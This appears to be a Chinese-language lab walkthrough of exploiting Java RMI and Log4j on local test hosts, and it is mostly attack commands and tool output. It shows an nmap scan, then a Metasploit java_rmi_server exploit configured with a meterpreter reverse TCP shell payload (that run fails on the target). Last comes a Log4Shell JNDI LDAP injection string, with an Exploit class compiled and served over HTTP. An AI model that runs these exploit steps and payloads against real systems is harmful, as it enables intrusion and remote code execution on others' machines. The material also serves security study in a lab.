public class RMIClient { public static void main(String[] args) throws Exception { RMIServer.IRemoteHelloWorld hello = (RMIServer.IRemoteHelloWorld) Naming.lookup("rmi://192.168.1.2:1099/Hello"); String ret = hello.hello(); System.out.println(ret); } }
ip是本地ipconfig查询ipv4地址
执行client main方法
执行结果(RMIClient
1 2 3
\Hello World
进程已结束,退出代码0
执行结果（RMIServer
1
call from
nmap检测rmi(kali
1 2 3 4 5 6 7 8 9 10 11 12
nmap 192.168.1.2 └─# nmap 192.168.1.2 Starting Nmap 7.91 ( https://nmap.org ) at 2023-03-01 02:49 EST Nmap scan report for 192.168.1.2 Host is up (0.00030s latency). Not shown: 998 filtered ports PORT STATE SERVICE **1099/tcp open rmiregistry** 3306/tcp open mysql MAC Address: 4C:79:6E:D7:37:AA (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 4.14 seconds
# Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/gather/java_rmi_registry normal No Java RMI Registry Interfaces Enumeration 1 auxiliary/scanner/misc/java_rmi_server 2011-10-15 normal No Java RMI Server Insecure Endpoint Code Execution Scanner 2 exploit/multi/browser/java_rmi_connection_impl 2010-03-31 excellent No Java RMIConnectionImpl Deserialization Privilege Escalation 3 exploit/multi/misc/java_rmi_server 2011-10-15 excellent Yes Java RMI Server Insecure Default Configuration Java Code Execution
Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/misc/java_rmi_server 使用扫描模块 msf6 > use auxiliary/scanner/misc/java_rmi_server 显示选项 msf6 auxiliary(scanner/misc/java_rmi_server) > show options
Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 1099 yes The target port (TCP) THREADS 1 yes The number of concurrent threads (max one per host)
设置RHOSTS msf6 auxiliary(scanner/misc/java_rmi_server) > set RHOSTS 192.168.1.2 RHOSTS => 192.168.1.2 设置端口 msf6 auxiliary(scanner/misc/java_rmi_server) > set RPORT 1099 RPORT => 1099 启动 msf6 auxiliary(scanner/misc/java_rmi_server) > run
Name Current Setting Required Description ---- --------------- -------- ----------- HTTPDELAY 10 yes Time that the HTTP Server will wait for the payload request RHOSTS 192.168.1.173 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 4444 yes The target port (TCP) SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) URIPATH no The URI to use for this exploit (default is random)
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.1.173 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
Exploit target:
Id Name -- ---- 0 Generic (Java Payload)
设置RHOSTS和RPORT msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.1.2 RHOSTS => 192.168.1.2 msf6 exploit(multi/misc/java_rmi_server) > set RPORT 1099 RPORT => 1099 设置payload进行反向TCP shell连接 msf6 exploit(multi/misc/java_rmi_server) > set payload /java/meterpreter/reverse_tcp payload => java/meterpreter/reverse_tcp 显示选项 msf6 exploit(multi/misc/java_rmi_server) > show options
Name Current Setting Required Description ---- --------------- -------- ----------- HTTPDELAY 10 yes Time that the HTTP Server will wait for the payload request RHOSTS 192.168.1.2 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 1099 yes The target port (TCP) SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) URIPATH no The URI to use for this exploit (default is random)
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.1.173 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
Exploit target:
Id Name -- ---- 0 Generic (Java Payload)
设置LHOSTS LPORT msf6 exploit(multi/misc/java_rmi_server) > set LHOSTS 192.168.1.173 LHOSTS => 192.168.1.173 msf6 exploit(multi/misc/java_rmi_server) > set LPORT 4444 LPORT => 4444 启动 msf6 exploit(multi/misc/java_rmi_server) > run
[*] Started reverse TCP handler on 192.168.1.173:4444 [*] 192.168.1.2:1099 - Using URL: http://0.0.0.0:8080/4OnBVPSoz5Gaa [*] 192.168.1.2:1099 - Local IP: http://192.168.1.173:8080/4OnBVPSoz5Gaa [*] 192.168.1.2:1099 - Server started. [*] 192.168.1.2:1099 - Sending RMI Header... [*] 192.168.1.2:1099 - Sending RMI Call... [-] 192.168.1.2:1099 - Exploit failed [not-vulnerable]: RuntimeError Exploit aborted due to failure not-vulnerable The RMI class loader is disabled [*] 192.168.1.2:1099 - Server stopped. [*] Exploit completed, but no session was created. msf6 exploit(multi/misc/java_rmi_server) > show options
Name Current Setting Required Description ---- --------------- -------- ----------- HTTPDELAY 10 yes Time that the HTTP Server will wait for the payload request RHOSTS 192.168.1.2 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 1099 yes The target port (TCP) SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) URIPATH no The URI to use for this exploit (default is random)
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.1.173 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
public class log4j { private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) { //The default trusturlcodebase of the higher version JDK is false System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true"); logger.error("${jndi:ldap://127.0.0.1:1389/Exploit}"); } }
编译exp类(会生成Exploit.class
1
javac .\Exploit.java
启动一个服务
1 2
python3 -m http.server 8888 Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
测试启动服务（需要新开一个命令行
1 2 3 4 5 6 7
curl -I 127.0.0.1:8888/Exploit.class HTTP/1.0 200 OK Server: SimpleHTTP/0.6 Python/3.6.3 Date: Thu, 02 Mar 2023 03:53:17 GMT Content-type: application/octet-stream Content-Length: 1035 Last-Modified: Thu, 02 Mar 2023 03:50:39 GMT
